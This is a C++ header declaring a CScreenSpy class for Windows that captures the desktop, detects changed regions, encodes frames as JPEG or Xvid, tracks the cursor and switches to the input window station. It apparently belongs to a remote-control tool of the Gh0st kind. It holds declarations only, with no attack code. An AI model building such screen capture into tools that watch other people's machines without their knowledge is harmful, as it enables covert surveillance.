2024-06-23 17:36:53 +08:00

85 lines
2.1 KiB
C++

// ScreenSpy.h: interface for the CScreenSpy class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_)
#define AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_
#include "CursorInfo.h"
#include <windows.h>
#include "../jpegsdk/jpeglib.h"
#include "../xvidsdk/XvidEnc.h"
#ifdef _DEBUG
#pragma comment(lib, "./jpegsdk/turbojpegd.lib")
#else
#pragma comment(lib, "./jpegsdk/turbojpeg.lib")
#endif // _DEBUG
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// 两种算法
#define ALGORITHM_HOME 1 // 家用办公算法
#define ALGORITHM_XVID 2 // 影视娱乐算法
class CScreenSpy
{
public:
CScreenSpy(int biBitCount = 32, bool bIsGray = false, UINT nMaxFrameRate = 25);
virtual ~CScreenSpy();
LPVOID getFirstScreen(LPDWORD lpdwBytes);
LPVOID getNextScreen(LPDWORD lpdwBytes);
LPBITMAPINFO getBitmapInfo();
UINT getBitmapInfoSize();
void setAlgorithm(UINT nAlgorithm);
void setCaptureLayer(BOOL bIsCaptureLayer);
private:
int m_biBitCount;
DWORD m_dwBitBltRop;
UINT m_bAlgorithm;
UINT m_nMaxFrameRate;
bool m_bIsGray;
int m_nFullWidth;
int m_nFullHeight;
BYTE m_nIncSize;
int m_nScanLine;
LARGE_INTEGER m_liFreq;
LARGE_INTEGER m_liLast;
LARGE_INTEGER m_liCurr;
HDC m_hDeskTopDC;
HDC m_hLastMemDC;
HDC m_hCurrMemDC;
HDC m_hRectMemDC;
LPVOID m_lpvLastBits;
LPVOID m_lpvCurrBits;
LPVOID m_lpvRectBits;
LPBITMAPINFO m_lpbmi_full;
LPBITMAPINFO m_lpbmi_rect;
HBITMAP m_hLastBitmap;
HBITMAP m_hCurrBitmap;
HBITMAP m_hRectBitmap;
LPBYTE m_changedBuffer;
UINT m_changedOffset;
int m_nPerLineDataSize;
CXvidEnc m_XvidEnc;
CCursorInfo m_CursorInfo;
LPBITMAPINFO ConstructBitmapInfo(int biBitCount, int biWidth, int biHeight);
void WriteChangedBuffer(LPBYTE lpData, int nCount);
BOOL ScanChangedRect(BOOL bCopyChangedRect);
void CopyChangedRect(LPRGNDATA lpRgnData, DWORD dwRgnSize);
int BMP_JPG(int width, int height, int cbit, int quality, void *input, void **output);
BOOL SelectInputWinStation();
};
#endif // !defined(AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_)